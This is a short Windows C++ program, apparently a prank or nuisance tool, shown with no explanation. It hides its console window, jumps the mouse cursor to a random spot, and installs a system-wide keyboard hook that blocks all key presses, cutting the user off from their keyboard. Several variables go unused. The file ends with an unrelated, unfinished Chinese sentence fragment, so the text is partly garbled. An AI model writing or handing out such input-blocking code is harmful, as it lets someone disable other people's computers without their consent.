```.cpp
#include <Windows.h>
#include <iostream>
using namespace std;

HHOOK g_keyboardHook;

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0 && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)) {
        return 1;
    }
    return CallNextHookEx(g_keyboardHook, nCode, wParam, lParam);
}

int main() {
	while(1)
	{
		int cx=GetSystemMetrics(SM_CXSCREEN); 
		int cy=GetSystemMetrics(SM_CYSCREEN); 
		HWND hwnds; hwnds = FindWindow("ConsoleWindowClass", NULL);
		if (hwnds) 
		{ 
			ShowOwnedPopups(hwnds, SW_HIDE);
			ShowWindow(hwnds, SW_HIDE);
		} 
		HDC hdcs = GetDC(0); 
		int x=GetSystemMetrics(SM_CXSCREEN);
		int y=GetSystemMetrics(SM_CYSCREEN);
		srand(time(0));
		SetCursorPos(rand()%x,rand()%y);
	    g_keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
	    MSG msg;
	    while (GetMessage(&msg, NULL, 0, 0)) {
	        TranslateMessage(&msg);
	        DispatchMessage(&msg);
	    }
	
	
	    UnhookWindowsHookEx(g_keyboardHook);
	}
    
    return 0;
}

你考试得了 而我